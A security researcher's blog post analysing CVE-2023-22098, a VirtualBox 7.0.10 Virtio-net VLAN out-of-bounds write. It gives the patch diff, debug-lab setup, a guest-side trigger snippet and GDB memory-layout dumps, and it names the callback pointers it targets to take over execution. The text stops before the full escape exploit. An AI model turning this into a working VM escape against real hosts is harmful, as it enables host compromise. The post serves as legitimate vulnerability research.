Jekyll2026-08-09T23:33:36+00:00https://diegoaltf4.com/feed.xmlDiegoAltF4Low-level security dudeDiego PalaciosCVE-2023-22098: Oracle VM VirtualBox 7.0.10 r158379 Escape2024-10-17T08:00:00+00:002024-10-17T08:00:00+00:00https://diegoaltf4.com/virtualbox-vm-escape-cve-2023-22098Hey VM Wizards, DiegoAltF4 here! Time to unleash some real virtualization magic!

In 2023, the outstanding security researcher Andy Nguyen discovered multiple vulnerabilities in Virtio-net for VirtualBox. All kudos to him.

In this post, I’ll take you through an in-depth analysis of CVE-2023-22098. We’ll begin by exploring the vulnerability and diving into some Virtio-net internals. Next, I’ll guide you through setting up a debugging environment, and we’ll wrap things up by developing a fully reliable PoC that escapes VirtualBox (it includes an ASLR bypass).

If you run into any issues or have questions, feel free to reach out to me on X!

Virtio-net

As mentioned in 1: “In a nutshell, virtio is an abstraction layer over devices in a paravirtualized hypervisor. virtio was developed by RustyRussell in support of his own virtualization solution called lguest”.

Virtio was developed as a standardized, open interface to simplify the way virtual machines (VMs) access devices like block devices and network adapters. Virtio-net, a virtual ethernet card, is one of the most complex devices currently supported by virtio. As mentioned in 2 “the communication between the driver in the guest OS and the device in the hypervisor is done through shared memory (that’s what makes virtio devices so efficient) using specialized data structures called virtqueues, which are actually ring buffers of buffer descriptors”.

The most common queues in Virtio-net are:

  • TX Queue (Transmit Queue): Used to send packets from the guest to the host.
  • RX Queue (Receive Queue): Used to receive packets from the host to the guest.

Additionally, Virtio-net includes a Control Virtqueue (CtrlQ), which is used to send control commands from the guest to the host. These commands allow the guest to modify or query the configuration of the Virtio-net device, for example, querying status in real-time.

As mentioned in 3: “To each guest we can associate a number of virtual CPUs (vCPUs) and the RX/TX queues are created per CPU so a more elaborated example with 4 vCPUs would look like this (removing the control plane for simplicity)”:

Virtio Diagram

For example, when the guest wants to send a network packet to the host:

  1. The guest places the packet in a shared memory buffer.
  2. The guest creates a descriptor in the Descriptor Ring, pointing to the buffer holding the packet.
  3. The guest places the index of the descriptor in the Available Ring, indicating that the buffer is ready for processing.
  4. The guest notifies the host by writing to a notification register that a packet is ready for transmission.
  5. The host reads the buffer, transmits the packet, and places the descriptor index in the Used Ring to indicate that processing is complete. Optionally, the host generates an interrupt to notify the guest that the buffer can be reused.

For much more information, I recommend checking 2 3 4.

Vulnerability Analysis

Let’s start by taking a look at the Oracle Critical Patch Update Advisory - October 2023:

Oracle Risk Matrix

As you can see, the versions affected are prior to 7.0.12. Therefore, according to the Virtualbox Download Page, the latest vulnerable version is 7.0.10.

Old builds

I like to start doing a simple diff to obtain a big picture of the situation. In this case, the principal file related to Virtio-net is src/VBox/Devices/Network/DevVirtioNet.cpp. Mainly two functions include significant changes:

static uint8_t virtioNetR3CtrlMultiQueue(PVIRTIONET pThis, PVIRTIONETCC pThisCC, PPDMDEVINS pDevIns, PVIRTIONET_CTRL_HDR_T pCtrlPktHdr, PVIRTQBUF pVirtqBuf)
{
    LogFunc(("[%s] Processing CTRL MQ command\n", pThis->szInst));
    uint16_t cVirtqPairs;
    switch(pCtrlPktHdr->uCmd)
    {
        case VIRTIONET_CTRL_MQ_VQ_PAIRS_SET:
        {
-            size_t cbRemaining = pVirtqBuf->cbPhysSend - sizeof(*pCtrlPktHdr);
+            size_t cbRemaining = pVirtqBuf->cbPhysSend;

-            AssertMsgReturn(cbRemaining > sizeof(cVirtqPairs),
+            AssertMsgReturn(cbRemaining >= sizeof(cVirtqPairs),
                ("DESC chain too small for VIRTIONET_CTRL_MQ cmd processing"), VIRTIONET_ERROR);

            /* Fetch number of virtq pairs from guest buffer */
            virtioCoreR3VirtqBufDrain(&pThis->Virtio, pVirtqBuf, &cVirtqPairs, sizeof(cVirtqPairs));

-            AssertMsgReturn(cVirtqPairs > VIRTIONET_MAX_QPAIRS,
+            AssertMsgReturn(cVirtqPairs <= VIRTIONET_MAX_QPAIRS,
                ("[%s] Guest CTRL MQ virtq pair count out of range [%d])\n", pThis->szInst, cVirtqPairs), VIRTIONET_ERROR);

            LogFunc(("[%s] Guest specifies %d VQ pairs in use\n", pThis->szInst, cVirtqPairs));
            pThis->cVirtqPairs = cVirtqPairs;
            break;
        }
        default:
            LogRelFunc(("Unrecognized multiqueue subcommand in CTRL pkt from guest\n"));
            return VIRTIONET_ERROR;
    }

[Truncated]

static uint8_t virtioNetR3CtrlVlan(PVIRTIONET pThis, PVIRTIONET_CTRL_HDR_T pCtrlPktHdr, PVIRTQBUF pVirtqBuf)
{
    LogFunc(("[%s] Processing CTRL VLAN command\n", pThis->szInst));

    uint16_t uVlanId;
-    size_t cbRemaining = pVirtqBuf->cbPhysSend - sizeof(*pCtrlPktHdr);
+    size_t cbRemaining = pVirtqBuf->cbPhysSend;

-    AssertMsgReturn(cbRemaining > sizeof(uVlanId),
+    AssertMsgReturn(cbRemaining >= sizeof(uVlanId),
        ("DESC chain too small for VIRTIONET_CTRL_VLAN cmd processing"), VIRTIONET_ERROR);

    /* Fetch VLAN ID from guest buffer */
    virtioCoreR3VirtqBufDrain(&pThis->Virtio, pVirtqBuf, &uVlanId, sizeof(uVlanId));

-    AssertMsgReturn(uVlanId > VIRTIONET_MAX_VLAN_ID,
+    AssertMsgReturn(uVlanId < VIRTIONET_MAX_VLAN_ID,
        ("%s VLAN ID out of range (VLAN ID=%u)\n", pThis->szInst, uVlanId), VIRTIONET_ERROR);

    LogFunc(("[%s] uCommand=%u VLAN ID=%u\n", pThis->szInst, pCtrlPktHdr->uCmd, uVlanId));

    switch (pCtrlPktHdr->uCmd)
    {
        case VIRTIONET_CTRL_VLAN_ADD:
            ASMBitSet(pThis->aVlanFilter, uVlanId);
            break;
        case VIRTIONET_CTRL_VLAN_DEL:
            ASMBitClear(pThis->aVlanFilter, uVlanId);
            break;
        default:
            LogRelFunc(("Unrecognized VLAN subcommand in CTRL pkt from guest\n"));
            return VIRTIONET_ERROR;
    }
    return VIRTIONET_OK;
}

The changes in AssertMsgReturn quickly caught my attention. Here’s how it’s implemented:

include/iprt/assert.h

# define AssertMsgReturn(expr, a, rc) \
    do { \
        if (RT_LIKELY(!!(expr))) \
        { /* likely */ } \
        else \
            return (rc); \
    } while (0)
#endif

Let’s break it down. The macro evaluates the expression expr:

  • If expr evaluates to true, nothing happens (the if block is empty).
  • If expr evaluates to false, the else block executes, returning the value rc.

Now, here’s an interesting bug: we can set cVirtqPairs > VIRTIONET_MAX_QPAIRS or uVlanId > VIRTIONET_MAX_VLAN_ID.

After considering the possibility of abusing cVirtqPairs > VIRTIONET_MAX_QPAIRS, I turned my focus to the second case (uVlanId > VIRTIONET_MAX_VLAN_ID) where it can be seen that the value of uVlanId is passed to the functions ASMBitSet and ASMBitClear. These functions do the following:

src/VBox/Runtime/common/asm/asm-fake.cpp

RTDECL(void) ASMBitSet(volatile void *pvBitmap, int32_t iBit)
{
    uint8_t volatile *pau8Bitmap = (uint8_t volatile *)pvBitmap;
    pau8Bitmap[iBit / 8] |= (uint8_t)RT_BIT_32(iBit & 7);
}

src/VBox/Runtime/common/asm/asm-fake.cpp

RTDECL(void) ASMBitClear(volatile void *pvBitmap, int32_t iBit)
{
    uint8_t volatile *pau8Bitmap = (uint8_t volatile *)pvBitmap;
    pau8Bitmap[iBit / 8] &= ~((uint8_t)RT_BIT_32(iBit & 7));
}

These functions rely on bitwise operations to manipulate the bits in the pThis->aVlanFilter array. Specifically:

  • ASMBitSet sets the bit in the bitmap.
  • ASMBitClear clears the bit.

This seemed more promising for exploitation, as it involves an out-of-bounds write in the VIRTIONET structure:

src/VBox/Devices/Network/DevVirtioNet.cpp

typedef struct VIRTIONET
{
    /** The core virtio state.   */
    VIRTIOCORE              Virtio;

    /** Virtio device-specific configuration */
    VIRTIONET_CONFIG_T      virtioNetConfig;

    /** Per device-bound virtq worker-thread contexts (eventq slot unused) */
    VIRTIONETWORKER         aWorkers[VIRTIONET_MAX_VIRTQS];

    /** Track which VirtIO queues we've attached to */
    VIRTIONETVIRTQ          aVirtqs[VIRTIONET_MAX_VIRTQS]; // out-of-bounds write

    /** PDM device Instance name */
    char                    szInst[16];

    [Truncated]

    /** MAC address obtained from the configuration. */
    RTMAC                   macConfigured;

    /** Bit array of VLAN filter, one bit per VLAN ID. */
    uint8_t                 aVlanFilter[VIRTIONET_MAX_VLAN_ID / sizeof(uint8_t)];

    /** Set if PDM leaf device at the network interface is starved for Rx buffers */
    bool volatile           fLeafWantsEmptyRxBufs;

    /** Number of packet being sent/received to show in debug log. */
    uint32_t                uPktNo;

    /** Flags whether VirtIO core is in ready state */
    uint8_t                 fVirtioReady;

    /** Resetting flag */
    uint8_t                 fResetting;

    [Truncated]

} VIRTIONET;

Setting up the lab

We’ll focus on developing the exploit for the debug version of VirtualBox, as it provides access to all symbols, making it easier to analyze and understand the exploitation process.

The source code for the latest vulnerable version can be obtained here. Both my host operating system and my guest operating system are Ubuntu 20.04.6 LTS.

This guide outlines the steps for building VirtualBox with debug symbols.

Once the required packages have been installed, the following commands need to be executed:

ln -s libX11.so.6    /usr/lib32/libX11.so
ln -s libXTrap.so.6  /usr/lib32/libXTrap.so
ln -s libXt.so.6     /usr/lib32/libXt.so
ln -s libXtst.so.6   /usr/lib32/libXtst.so
ln -s libXmu.so.6    /usr/lib32/libXmu.so
ln -s libXext.so.6   /usr/lib32/libXext.so

And finally:

chmod +x configure
chmod +x kBuild/bin/linux.amd64/k*
./configure --disable-hardening
source ./env.sh
kmk BUILD_TYPE=debug

ASAN can be enabled with:

kmk BUILD_TYPE=debug VBOX_WITH_GCC_SANITIZER=1

The virtual machine can be launched with the command:

./VirtualBoxVM --startvm <vm-name>

To configure the VM, we need to modify the network adapter type and select virtio-net:

Adapter Type

Once configured, we can verify that everything is working correctly by running the following command:

lspci -v

If successful, the device should appear as shown below:

Virtio-net device

As mentioned in 1:

When using PCI as a transport method, the device will present itself on the PCI bus with vendor 0x1af4 (Red Hat, Inc.) and device id 0x1003 (virtio console), as defined in the spec, so the kernel will detect it as it would do with any other PCI device.

Writing the exploit

Now that we know where the bug is located and have a functional debugging environment, we can start attempting to exploit the bug, with the goal of escaping from the virtual machine.

Triggering the bug

To trigger the bug, we need to reach the virtioNetR3CtrlVlan function and specify a value of uVlanId > VIRTIONET_MAX_VLAN_ID. The function responsible for calling virtioNetR3CtrlVlan is virtioNetR3Ctrl, which handles processing control commands from the guest. It’s invoked by worker for virtio-net control queue to process a queued control command buffer:

src/VBox/Devices/Network/DevVirtioNet.cpp

static void virtioNetR3Ctrl(PPDMDEVINS pDevIns, PVIRTIONET pThis, PVIRTIONETCC pThisCC,
                            PVIRTQBUF pVirtqBuf)
{

    [Truncated]

    /*
     * Allocate buffer and read in the control command
     */
    AssertMsgReturnVoid(pVirtqBuf->cbPhysSend >= sizeof(VIRTIONET_CTRL_HDR_T),
                        ("DESC chain too small for CTRL pkt header"));

    VIRTIONET_CTRL_HDR_T CtrlPktHdr; RT_ZERO(CtrlPktHdr);
    virtioCoreR3VirtqBufDrain(&pThis->Virtio, pVirtqBuf, &CtrlPktHdr,
                                RT_MIN(pVirtqBuf->cbPhysSend, sizeof(CtrlPktHdr)));

    Log7Func(("[%s] CTRL COMMAND: class=%d command=%d\n", pThis->szInst, CtrlPktHdr.uClass, CtrlPktHdr.uCmd));

    uint8_t uAck;
    switch (CtrlPktHdr.uClass)
    {
        case VIRTIONET_CTRL_RX:
            uAck = virtioNetR3CtrlRx(pThis, pThisCC, &CtrlPktHdr, pVirtqBuf);
            break;
        case VIRTIONET_CTRL_MAC:
            uAck = virtioNetR3CtrlMac(pThis, &CtrlPktHdr, pVirtqBuf);
            break;
        case VIRTIONET_CTRL_VLAN:
            uAck = virtioNetR3CtrlVlan(pThis, &CtrlPktHdr, pVirtqBuf);
            break;
        case VIRTIONET_CTRL_MQ:
            uAck = virtioNetR3CtrlMultiQueue(pThis, pThisCC, pDevIns, &CtrlPktHdr, pVirtqBuf);
            break;
        case VIRTIONET_CTRL_ANNOUNCE:
            uAck = VIRTIONET_OK;
            if (FEATURE_DISABLED(STATUS) || FEATURE_DISABLED(GUEST_ANNOUNCE))
            {
                LogFunc(("%s Ignoring CTRL class VIRTIONET_CTRL_ANNOUNCE.\n"
                         "VIRTIO_F_STATUS or VIRTIO_F_GUEST_ANNOUNCE feature not enabled\n", pThis->szInst));
                break;
            }
            if (CtrlPktHdr.uCmd != VIRTIONET_CTRL_ANNOUNCE_ACK)
            {
                LogFunc(("[%s] Ignoring CTRL class VIRTIONET_CTRL_ANNOUNCE. Unrecognized uCmd\n", pThis->szInst));
                break;
            }
#if FEATURE_OFFERED(STATUS)
            pThis->virtioNetConfig.uStatus &= ~VIRTIONET_F_ANNOUNCE;
#endif
            Log7Func(("[%s] Clearing VIRTIONET_F_ANNOUNCE in config status\n", pThis->szInst));
            break;
        default:
            LogRelFunc(("Unrecognized CTRL pkt hdr class (%d)\n", CtrlPktHdr.uClass));
            uAck = VIRTIONET_ERROR;
    }

    [Truncated]
}

The value of uClass from the CtrlPktHdr structure is evaluated in a switch statement. This uClass represents the type of control command being processed. Depending on its value, different functions are called to handle the specific control command.

Therefore, in our exploit, we can do the following:

exploit.c


[Truncated]

if (value & (1ULL << i))
    cmd = VIRTIONET_CTRL_VLAN_ADD;
else
    cmd = VIRTIONET_CTRL_VLAN_DEL;

// Setting the control header
dev->ctrl->hdr.class = VIRTIONET_CTRL_VLAN;
dev->ctrl->hdr.cmd   = cmd;
dev->ctrl->vlanId    = cpu_to_virtio16(vdev, offset * 8 + i);

// Initialize scatterlist
sg_init_one(&sgs[0], dev->ctrl, sizeof(struct command_entry) + 4);
psgs[0] = &sgs[0];

// Add the buffer to the control queue
virtqueue_add_sgs(dev->vqueues[2], psgs, 1, 0, dev, GFP_KERNEL);

// Kick queue to process the command
virtqueue_kick(dev->vqueues[2]);

// Wait for the command to be processed
while (!virtqueue_get_buf(dev->vqueues[2], &len) && !virtqueue_is_broken(dev->vqueues[2]))
{
    cpu_relax();
}

[Truncated]

Note: I added the +4 to satisfy the check cbRemaining > sizeof(cVirtqPairs). Something strange is happening with VBox, as it doesn’t seem to handle the size correctly.

cbRemaining

If we set a breakpoint at src/VBox/Devices/Network/DevVirtioNet.cpp:2536, we can verify that the uClass has been correctly set. Additionally, we can set another breakpoint at src/VBox/Devices/Network/DevVirtioNet.cpp:2467 to check that the value of uVlanId is as expected:

uClass gdb

uVlanId gdb

Identifying structures in memory

Alright, knowing that we have an out-of-bounds write, what can we modify? To figure this out, we are going to try to identify the structures in memory, which will give us a much clearer understanding of our situation.

As we’ve already seen, the function virtioNetR3CtrlVlan attempts to modify pThis->aVlanFilter, which is of the type PVIRTIONET:

GDB

gef>  ptype /o pThis
type = struct VIRTIONET {
/*    0      |  2144 */    VIRTIOCORE Virtio;
/* 2144      |    10 */    VIRTIONET_CONFIG_T virtioNetConfig;
/* XXX  6-byte hole  */
/* 2160      |    48 */    VIRTIONETWORKER aWorkers[3];
/* 2208      |   120 */    VIRTIONETVIRTQ aVirtqs[3];
/* 2328      |    16 */    char szInst[16];
/* 2344      |     8 */    uint64_t fNegotiatedFeatures;
/* 2352      |     2 */    uint16_t cVirtqPairs;
/* 2354      |     2 */    uint16_t cInitializedVirtqPairs;
/* 2356      |     2 */    uint16_t cVirtqs;
/* 2358      |     2 */    uint16_t cWorkers;
/* 2360      |     2 */    uint16_t alignment;
/* XXX  2-byte hole  */
/* 2364      |     4 */    uint32_t uIsTransmitting;
/* 2368      |     4 */    uint32_t cMsLinkUpDelay;
/* 2372      |     4 */    uint32_t cMulticastFilterMacs;
/* 2376      |     4 */    uint32_t cUnicastFilterMacs;
/* XXX  4-byte hole  */
/* 2384      |     8 */    SUPSEMEVENT hEventRxDescAvail;
/* 2392      |   384 */    RTMAC aMacMulticastFilter[64];
/* 2776      |   384 */    RTMAC aMacUnicastFilter[64];
/* 3160      |     6 */    RTMAC rxFilterMacDefault;
/* 3166      |     6 */    RTMAC macConfigured;
/* 3172      |  4096 */    uint8_t aVlanFilter[4096];
/* 7268      |     1 */    volatile bool fLeafWantsEmptyRxBufs;
/* XXX  3-byte hole  */
/* 7272      |     4 */    uint32_t uPktNo;
/* 7276      |     1 */    uint8_t fVirtioReady;
/* 7277      |     1 */    uint8_t fResetting;
/* 7278      |     1 */    uint8_t fPromiscuous;
/* 7279      |     1 */    uint8_t fAllMulticast;
/* 7280      |     1 */    uint8_t fAllUnicast;
/* 7281      |     1 */    uint8_t fNoMulticast;
/* 7282      |     1 */    uint8_t fNoUnicast;
/* 7283      |     1 */    uint8_t fNoBroadcast;
/* 7284      |     4 */    VIRTIONETPKTHDRTYPE ePktHdrType;
/* 7288      |     2 */    uint16_t cbPktHdr;
/* 7290      |     1 */    bool fCableConnected;
/* 7291      |     1 */    bool fOfferLegacy;
/* XXX  4-byte hole  */
/* 7296      |     8 */    STAMCOUNTER StatReceiveBytes;
/* 7304      |     8 */    STAMCOUNTER StatTransmitBytes;
/* 7312      |     8 */    STAMCOUNTER StatReceiveGSO;
/* 7320      |     8 */    STAMCOUNTER StatTransmitPackets;
/* 7328      |     8 */    STAMCOUNTER StatTransmitGSO;
/* 7336      |     8 */    STAMCOUNTER StatTransmitCSum;
/* 7344      |    32 */    STAMPROFILE StatReceive;
/* 7376      |    32 */    STAMPROFILE StatReceiveStore;
/* 7408      |    40 */    STAMPROFILEADV StatTransmit;
/* 7448      |    32 */    STAMPROFILE StatTransmitSend;
/* 7480      |    32 */    STAMPROFILE StatRxOverflow;
/* 7512      |     8 */    STAMCOUNTER StatRxOverflowWakeup;
/* 7520      |     8 */    STAMCOUNTER StatTransmitByNetwork;
/* 7528      |     8 */    STAMCOUNTER StatTransmitByThread;

                             /* total size (bytes): 7536 */
                         } *

After this structure, we can observe that the PPDMCRITSECT structure is located following 16 bytes of padding.

GDB

gef>  x/20gx ((void*)pThis + 7536)
0x7fffb26b51b0:	0x0000000000000000	0x0000000000000000 ==> padding
0x7fffb26b51c0:	0xffffffff19790326	0xffffffffffffffff
0x7fffb26b51d0:	0x0000000000000001	0x0000000000000033
0x7fffb26b51e0:	0x00007fff9c351d60	0x0000000000000000
0x7fffb26b51f0:	0x00007fff9158d5e8	0x00007fffb26b3000
0x7fffb26b5200:	0x0000000000000101	0x0000000000000000
0x7fffb26b5210:	0x00007fff9c34e720	0x00007fffb26b51c0
0x7fffb26b5220:	0x0000000000000000	0x0000000000000000
0x7fffb26b5230:	0x0000000000000000	0x0000000000000000
0x7fffb26b5240:	0x0000000000000000	0xffffffffffffffff

GDB

gef>  ptype /o *(PPDMCRITSECT)0x7fffb26b51b0
/* offset    |  size */  type = union PDMCRITSECT {
/*               256 */    uint8_t padding[256];

                             /* total size (bytes):  256 */
                         }

Later, we come across the PDMPCIDEV structure:

GDB

gef>  x/20gx ((void*)pThis + 7536 + 16 + 256)
0x7fffb26b52c0:	0x0000001819391118	0x0000000090000100
0x7fffb26b52d0:	0x00007fffb07dc408	0x0000000000000000
0x7fffb26b52e0:	0x0000000000000000	0x0000000000000000
0x7fffb26b52f0:	0x0000000000000000	0x0000000000000000
0x7fffb26b5300:	0x00007fffb26b3000	0x0000010000000100
0x7fffb26b5310:	0x00007fffdc0002c0	0x00007fffb03a0df7
0x7fffb26b5320:	0x00007fffb03a10c8	0x0000000000000000
0x7fffb26b5330:	0x0000000000000000	0x0000000000000000
0x7fffb26b5340:	0x0000000000000000	0x0000000000000000
0x7fffb26b5350:	0xffffffffffffffff	0x0000000000000000

GDB

gef>   ptype /o *(PDMPCIDEV*)0x7fffb26b52c0
/* offset    |  size */  type = struct PDMPCIDEV {
/*    0      |     4 */    uint32_t u32Magic;
/*    4      |     4 */    uint32_t uDevFn;
/*    8      |     2 */    uint16_t cbConfig;
/*   10      |     2 */    uint16_t cbMsixState;
/*   12      |     2 */    uint16_t idxSubDev;
/*   14      |     2 */    uint16_t u16Padding;
/*   16      |     8 */    const char *pszNameR3;
/*   24      |     8 */    int (*pfnRegionLoadChangeHookR3)(PPDMDEVINS, PPDMPCIDEV, uint32_t, uint64_t, PCIADDRESSSPACE, PFNPCIIOREGIONOLDSETTER, PFNPCIIOREGIONSWAP);
/*   32      |    32 */    uint64_t au64Reserved[4];
/*   64      |   384 */    union {
/*               384 */        uint8_t padding[384];
/* XXX 320-byte padding  */

                                 /* total size (bytes):  384 */
                             } Int;
/*  448      |  4096 */    uint8_t abConfig[4096];
/* 4544      |     0 */    uint8_t abMsixState[];

                             /* total size (bytes): 4544 */
                         }

If we examine the definition of this structure, we find the most important and key member PDMPCIDEVINT s, which represents the internal data of the PDM PCI device:

include/VBox/vmm/pdmpcidev.h

typedef struct PDMPCIDEV
{
    /** @name Read only data.
     * @{
     */
    /** Magic number (PDMPCIDEV_MAGIC). */
    uint32_t                u32Magic;
    /** PCI device number [11:3] and function [2:0] on the pci bus.
     * @sa VBOX_PCI_DEVFN_MAKE, VBOX_PCI_DEVFN_FUN_MASK, VBOX_PCI_DEVFN_DEV_SHIFT */
    uint32_t                uDevFn;

    [Truncated]

    /** Internal data. */
    union
    {
#ifdef PDMPCIDEVINT_DECLARED
        PDMPCIDEVINT        s;
#endif
        uint8_t             padding[0x180];
    } Int;

    /** PCI config space.
     * This is either 256 or 4096 in size.  In the latter case it may be
     * followed by a MSI-X state area. */
    uint8_t                 abConfig[4096];
    /** The MSI-X state data.  Optional. */
    RT_FLEXIBLE_ARRAY_EXTENSION
    uint8_t                 abMsixState[RT_FLEXIBLE_ARRAY];
} PDMPCIDEV;

Let’s verify it:

GDB

gef>  x/20gx ((void*)pThis + 7536 + 16 + 256 + 64)
0x7fffb26b5300:	0x00007fffb26b3000	0x0000010000000100
0x7fffb26b5310:	0x00007fffdc0002c0	0x00007fffb03a0df7
0x7fffb26b5320:	0x00007fffb03a10c8	0x0000000000000000
0x7fffb26b5330:	0x0000000000000000	0x0000000000000000
0x7fffb26b5340:	0x0000000000000000	0x0000000000000000
0x7fffb26b5350:	0xffffffffffffffff	0x0000000000000000
0x7fffb26b5360:	0x000000000000d020	0x0000000000000020
0x7fffb26b5370:	0x000000000000003a	0x0000000100000005
0x7fffb26b5380:	0x0000000000000000	0x0000000000000000
0x7fffb26b5390:	0x0000000000000000	0x0000000000000000

GDB

gef>   p *(PDMPCIDEVINT*)((void*)pThis + 7536 + 16 + 256 + 64)
{
    pDevInsR3 = 0x7fffb26b3000,
    idxDevCfg = 0x0,
    fReassignableDevNo = 0x1,
    fReassignableFunNo = 0x0,
    bPadding0 = 0x0,
    idxPdmBus = 0x0,
    fRegistered = 0x1,
    idxSubDev = 0x0,
    pBusR3 = 0x7fffdc0002c0,
    pfnConfigRead = 0x7fffb03a0df7 <virtioR3PciConfigRead(PPDMDEVINS, PPDMPCIDEV, uint32_t, unsigned int, uint32_t*)>,
    pfnConfigWrite = 0x7fffb03a10c8 <virtioR3PciConfigWrite(PPDMDEVINS, PPDMPCIDEV, uint32_t, unsigned int, uint32_t)>,
    pfnBridgeConfigRead = 0x0,
    pfnBridgeConfigWrite = 0x0,
    fFlags = 0x0,
    uIrqPinState = 0x0,
    u8MsiCapOffset = 0x0,
    u8MsiCapSize = 0x0,
    u8MsixCapOffset = 0x0,
    u8MsixCapSize = 0x0,
    cbMsixRegion = 0x0,
    offMsixPba = 0x0,
    abPadding2 = "\000\000\000\000\000\000\000",
    hMmioMsix = 0xffffffffffffffff,
    pvPciBusPtrR3 = 0x0,

    [Truncated]

In fact, by inspecting PPDMDEVINSR3 pDevInsR3, we can confirm that the apPciDevs[0] member points to the PDMPCIDEV structure we had identified earlier:

GDB

gef>   p *(PDMDEVINSR3*)0x7fffb26b3000
{
    u32Version = 0xff820040,
    iInstance = 0x0,
    cbRing3 = 0xd000,
    fR0Enabled = 0x1,
    fRCEnabled = 0x0,
    afReserved = {0x0, 0x0},
    pHlpR3 = 0x7fffd103ab20 <g_pdmR3DevHlpTrusted>,
    pvInstanceDataR3 = 0x7fffb26b3440,
    pvInstanceDataForR3 = 0x7fffb26b3180,
    pCritSectRoR3 = 0x7fffb26b51c0,
    pReg = 0x7fffb07dc400 <g_DeviceVirtioNet>,
    pCfg = 0x7fff9c00dff0,
    IBase = {
    pfnQueryInterface = 0x0
    },
    fTracing = 0x0,
    idTracing = 0x10,
    pDevInsForRCR3 = 0x7fffb26b3400,
    pDevInsForRC = 0x0,
    pvInstanceDataForRCR3 = 0x0,
    cbPciDev = 0xa1c0,
    cPciDevs = 0x1,
    apPciDevs = {0x7fffb26b52c0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
    pDevInsR0RemoveMe = 0xffffa26e050f5000,
    pvInstanceDataR0 = 0xffffa26e050f6440,
    pvInstanceDataRC = 0x0,
    au32Padding = {0x0 <repeats 11 times>},
    Internal = {
    padding = "\000\000k\262\377\177\000\000\000\000\000\000\000\000\000\000\300w\035\234\377\177\000\000@H5\234\377\177\000\000\000\000\000\000\000\000\000\000 \335\000\234\377\177\000\000\000@\002\320\377\177\000\000\377\377\377\377\377\377\377\377", '\000' <repeats 16 times>, "(\000\000\000V\000\020\000\r", '\000' <repeats 54 times>
    },
    achInstanceData = "\337\035;\260\377\177\000"
}

Exploitation Strategy

The members pfnConfigRead and pfnConfigWrite in the PDMPCIDEVINT struct caught my attention. These are actually callbacks. Therefore, we can control the execution flow by modifying these callbacks. However, we have a problem: we don’t have any memory leaks.

To obtain the leaks, I remembered that with the lspci command, we can query the device’s data. Therefore, it’s retrieving the information somehow. Specifically, the function responsible for this is virtioR3PciConfigRead:

src/VBox/Devices/VirtIO/VirtioCore.cpp

static DECLCALLBACK(VBOXSTRICTRC) virtioR3PciConfigRead(PPDMDEVINS pDevIns, PPDMPCIDEV pPciDev,
                                                        uint32_t uAddress, unsigned cb, uint32_t *pu32Value)
{
    PVIRTIOCORE   pVirtio   = PDMINS_2_DATA(pDevIns, PVIRTIOCORE);
    PVIRTIOCORECC pVirtioCC = PDMINS_2_DATA_CC(pDevIns, PVIRTIOCORECC);
    RT_NOREF(pPciDev);

    if (uAddress == pVirtio->uPciCfgDataOff)
    {
     /* See comments in PCI Cfg capability initialization (in capabilities setup section of this code) */
        struct virtio_pci_cap *pPciCap = &pVirtioCC->pPciCfgCap->pciCap;
        uint32_t uLength = pPciCap->uLength;

        Log7Func((" pDevIns=%p pPciDev=%p uAddress=%#x%s cb=%u uLength=%d, bar=%d\n",
                     pDevIns, pPciDev, uAddress,  uAddress < 0x10 ? " " : "", cb, uLength, pPciCap->uBar));

        if (  (uLength != 1 && uLength != 2 && uLength != 4)
            || pPciCap->uBar != VIRTIO_REGION_PCI_CAP)
        {
            ASSERT_GUEST_MSG_FAILED(("Guest read virtio_pci_cfg_cap.pci_cfg_data using mismatching config. "
                                     "Ignoring\n"));
            *pu32Value = UINT32_MAX;
            return VINF_SUCCESS;
        }

        VBOXSTRICTRC rcStrict = virtioMmioRead(pDevIns, pVirtio, pPciCap->uOffset, pu32Value, cb);
        Log7Func((" Guest read virtio_pci_cfg_cap.pci_cfg_data, bar=%d, offset=%d, length=%d, result=0x%x -> %Rrc\n",
                     pPciCap->uBar, pPciCap->uOffset, uLength, *pu32Value, VBOXSTRICTRC_VAL(rcStrict)));
        return rcStrict;
    }
    Log7Func((" pDevIns=%p pPciDev=%p uAddress=%#x%s cb=%u pu32Value=%p\n",
                 pDevIns, pPciDev, uAddress,  uAddress < 0x10 ? " " : "", cb, pu32Value));
    return VINF_PDM_PCI_DO_DEFAULT;
}

The first two lines are quite important:

src/VBox/Devices/VirtIO/VirtioCore.cpp

PVIRTIOCORE   pVirtio   = PDMINS_2_DATA(pDevIns, PVIRTIOCORE);
PVIRTIOCORECC pVirtioCC = PDMINS_2_DATA_CC(pDevIns, PVIRTIOCORECC);

The definition of the macros is as follows:

include/VBox/vmm/pdmins.h

/** @def PDMINS_2_DATA
 * Gets the shared instance data for a PDM device, USB device, or driver instance.
 * @note For devices using PDMDEVINS_2_DATA is highly recommended.
 */
#define PDMINS_2_DATA(pIns, type)       ( (type)(pIns)->CTX_SUFF(pvInstanceData) )

include/VBox/vmm/pdmins.h

/** @def PDMINS_2_DATA_CC
 * Gets the current context instance data for a PDM device, USB device, or driver instance.
 * @note For devices using PDMDEVINS_2_DATA_CC is highly recommended.
 */
#define PDMINS_2_DATA_CC(pIns, type)    ( (type)(void *)&(pIns)->achInstanceData[0] )

Therefore, pVirtio will point to pvInstanceDataR3. However, we cannot directly modify the contents of pvInstanceDataR3.

GDB

gef>  ptype /o PDMDEVINSR3
/* offset    |  size */  type = struct PDMDEVINSR3 {
/*    0      |     4 */    uint32_t u32Version;
/*    4      |     4 */    uint32_t iInstance;
/*    8      |     4 */    uint32_t cbRing3;
/*   12      |     1 */    bool fR0Enabled;
/*   13      |     1 */    bool fRCEnabled;
/*   14      |     2 */    bool afReserved[2];
/*   16      |     8 */    PCPDMDEVHLPR3 pHlpR3;
/*   24      |     8 */    RTR3PTR pvInstanceDataR3;
/*   32      |     8 */    RTR3PTR pvInstanceDataForR3;
/*   40      |     8 */    PPDMCRITSECT pCritSectRoR3;
/*   48      |     8 */    PCPDMDEVREG pReg;
/*   56      |     8 */    PCFGMNODE pCfg;
/*   64      |     8 */    PDMIBASE IBase;
/*   72      |     4 */    uint32_t fTracing;
/*   76      |     4 */    uint32_t idTracing;
/*   80      |     8 */    PDMDEVINSRC *pDevInsForRCR3;
/*   88      |     8 */    RTRGPTR pDevInsForRC;
/*   96      |     8 */    RTR3PTR pvInstanceDataForRCR3;
/*  104      |     4 */    uint32_t cbPciDev;
/*  108      |     4 */    uint32_t cPciDevs;
/*  112      |    64 */    PDMPCIDEV *apPciDevs[8];
/*  176      |     8 */    RTHCUINTPTR pDevInsR0RemoveMe;
